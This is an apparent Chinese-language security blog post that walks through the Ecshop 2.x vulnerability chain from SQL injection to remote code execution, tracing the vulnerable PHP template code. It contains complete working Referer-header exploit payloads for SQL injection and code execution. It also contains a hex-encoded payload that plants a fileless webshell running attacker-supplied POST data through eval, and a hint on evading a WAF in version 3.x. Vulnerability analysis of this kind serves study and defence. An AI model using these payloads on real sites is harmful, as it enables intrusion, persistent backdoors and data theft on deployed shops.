@Author: Patrilic
@Time: 2019-8-27 00:03:02

0x00 前言

很多QB的Passer6y给我发了个长得奇奇怪怪的payload,想了下,好像是Ecshop 2.x的RCE,昨年看到就想分析,一直搞忘了.. 今晚补上!
PS: 速度与激情真的好看,Dwayne Johnson太帅ahhhh

0x01 环境搭建

使用phpstudy 2018 搭建

分析工具: PhpStorm
php 5.3.29 nts + Apache
MySQL 5.5.3

0x02 漏洞复现

SQL注入

漏洞发生在user.php 的 Referer处
payload:

1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

e21d6b60329ce5b0f5a9129ba3da49b6

代码执行

其实是SQL注入的进一步利用,同样是在user.php
payload:

1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

63cf020521a24682a91cb6aae5e91fbb

0x03 漏洞分析

SQL注入漏洞

直接看漏洞发生点:
既然payload是从Referer传进来的,那么就直接看['HTTP_REFERER']
user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/* 用户登录界面 */
elseif ($action == 'login')
{
if (empty($back_act))
{
if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
{
$back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
}
else
{
$back_act = 'user.php';
}

}


$captcha = intval($_CFG['captcha']);
if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0)
{
$GLOBALS['smarty']->assign('enabled_captcha', 1);
$GLOBALS['smarty']->assign('rand', mt_rand());
}

$smarty->assign('back_act', $back_act);
$smarty->display('user_passport.dwt');
}

$back_actHTTP_REFERER那里拿到值,然后$smarty->assign('back_act', $back_act);
$back_act作为参数,调用assign函数
754c7a3810743fdf7d2cf06aeea33529
实际调用的是/includes/cls_template.php下的assign函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function assign($tpl_var, $value = '')
{
if (is_array($tpl_var))
{
foreach ($tpl_var AS $key => $val)
{
if ($key != '')
{
$this->_var[$key] = $val;
}
}
}
else
{
if ($tpl_var != '')
{
$this->_var[$tpl_var] = $value;
}
}
}

可以其实是注册了模板变量,然后回到login处,调用了display函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function display($filename, $cache_id = '')
{
$this->_seterror++;
error_reporting(E_ALL ^ E_NOTICE);

$this->_checkfile = false;
$out = $this->fetch($filename, $cache_id);

if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
if (($key % 2) == 1)
{
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('', $k);
}
error_reporting($this->_errorlevel);
$this->_seterror--;

echo $out;
}

filename便是传入的user_passport.dwt,这里调用fetch处理dwt文件,转到fetch函数,使用了

1
$out = $this->make_compiled($filename);

然后使用make_compiled函数进行编译
user_passport.dwt里面存在{$back_act}变量

1
2
3
4
5
<td align="left">
<input type="hidden" name="act" value="act_login" />
<input type="hidden" name="back_act" value="{$back_act}" />
<input type="submit" name="submit" value="" class="us_Submit" />
</td>

display函数里存在一个if判断,如果$out是否存在$this->_echash,而这个hash值,其实是一个静态变量

1
var $_echash = '554fcae493e564ee0dc75bdf2ebf94ca';

我们跟进这个if判断,如果存在的话,从hash处分割,然后把$k交给$this->insert_mod($val)去处理
继续跟insert_mod()函数

1
2
3
4
5
6
7
8
function insert_mod($name) // 处理动态内容
{
list($fun, $para) = explode('|', $name);
$para = unserialize($para);
$fun = 'insert_' . $fun;

return $fun($para);
}

这里先用|分割,进行反序列化操作,然后再使用insert_拼接,所以其实,该函数名和参数均可控
就是需要寻找一个insert_开头的函数。

最后,/includes/lib_insert.php里存在一个insert_ads函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function insert_ads($arr)
{
static $static_res = NULL;

$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
else
{
if ($static_res[$arr['id']] === NULL)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, '.
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND a.position_id = '" . $arr['id'] .
"' AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' " .
'ORDER BY rnd LIMIT 1';
$static_res[$arr['id']] = $GLOBALS['db']->GetAll($sql);
}
$res = $static_res[$arr['id']];
}

这里我们的$arr数组,是完全可控的,就造成了一个SQL注入漏洞
所以攻击链就出来了

user.php (获取$back_act)-> assign() 注册变量 -> display() 输出模版 -> 根据hash,进入insert_mod() -> 最后调用insert_ads() 完成注入

payload:

1
REFERER: hash + $fun | serialize(array("num"=>sqlpayload,"id"=>1))

代码执行

漏洞点同样是这个SQL注入引起,主要是因为insert_ads()函数后面又引入了一个fetch

1
2
3
4
5
6
7
8
9
$position_style = 'str:' . $position_style;

$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;

$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);

$GLOBALS['smarty']->caching = $need_cache;

这里将$position_style进行fetch,往上看

1
2
3
4
5
6
7
foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id'])
{
continue;
}
$position_style = $row['position_style'];

$position_style是从SQL结果集中取的,所以,我们应该可以控制
代码执行点在fetch函数里

1
2
3
4
5
6
7
8
9
10
11
12
function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;

if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}

这里之前因为$position_style已经经过了
$position_style = 'str:' . $position_style;的处理
所以strncmp($filename,'str:', 4) == 0肯定是为真的,所以会直接执行代码.
但是需要满足fetch_str函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function fetch_str($source)
{
if (!defined('ECS_ADMIN'))
{
$source = $this->smarty_prefilter_preCompile($source);
}
$source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
}
}
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
}

在往里面跟,最终是调用了$this->select()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function select($tag)
{
$tag = stripslashes(trim($tag));

if (empty($tag))
{
return '{}';
}
elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分
{
return '';
}
elseif ($tag{0} == '$') // 变量
{
// if(strpos($tag,"'") || strpos($tag,"]"))
// {
// return '';
// }
return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
}

这里我们能看到曙光了,就是如果第一位是$的话,就返回给_eval函数一个带有php标签的代码,但是还是会经过一个get_val()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function get_val($val)
{
if (strrpos($val, '[') !== false)
{
$val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val);
}

if (strrpos($val, '|') !== false)
{
$moddb = explode('|', $val);
$val = array_shift($moddb);
}

if (empty($val))
{
return '';
}

if (strpos($val, '.$') !== false)
{
$all = explode('.$', $val);

foreach ($all AS $key => $val)
{
$all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';
}
$p = implode('', $all);
}
else
{
$p = $this->make_var($val);
}

当传入的变量没有.$时,调用$this->make_var,看看make_var

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function make_var($val)
{
if (strrpos($val, '.') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = '$this->_var[\'' . $val . '\']';
}
else
{
$t = explode('.', $val);
$_var_name = array_shift($t);
if (isset($this->_var[$_var_name]) && isset($this->_patchstack[$_var_name]))
{
$_var_name = $this->_patchstack[$_var_name];
}
if ($_var_name == 'smarty')
{
$p = $this->_compile_smarty_ref($t);
}
else
{
$p = '$this->_var[\'' . $_var_name . '\']';
}
foreach ($t AS $val)
{
$p.= '[\'' . $val . '\']';
}
}

return $p;
}

可以看到最终返回的$p变成了$p = '$this->_var[\'' . $_var_name . '\']'
往回看,我们的select函数return的值就变成了

1
<?php echo $this->_var['  $val  '];?>

然后结合上面进入函数的条件,我们可以构造payload

1
{$abc'];echo phpinfo();//}

然后因为不满足fetch_str的正则,加一个/**/

1
{$abc'];echo phpinfo/**/();//}

然后就是利用SQL注入漏洞,让$position_style等于我们的payload了

最终payload

1
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

简单来说就是利用$arr['id']$arr['num'] 注释掉中间的 order by 和 limit,强制执行UNION,带入position_style

和之前的APT攻击一样,可以直接带入一个无文件Webshell:

1
2
3
4
5
6
0x7b2461275d3b617373657274286261736536345f6465636f64652827514556575155776f596d467a5a5459305832526c5932396b5a53676b58314250553152624a303576654364644b536b372729293b24615b27317d
# unhex
{$a'];assert(base64_decode('QEVWQUwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ05veCddKSk7'));$a['1}

# base64_decode
@EVAL(base64_decode($_POST['Nox']));

0x04 总结

Ecshop 还是见的比较多,用途也比较广,特别是现在各类区块链的网站,用的还是比较多

3.x同样也可以rce,只是需要精心构造payload,因为需要绕过waf,但是404的师傅说其实将union select通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用/**/注释掉,这样就不会触发WAF了23333

https://paper.seebug.org/695/
https://xz.aliyun.com/t/2689
https://www.seebug.org/vuldb/ssvid-97343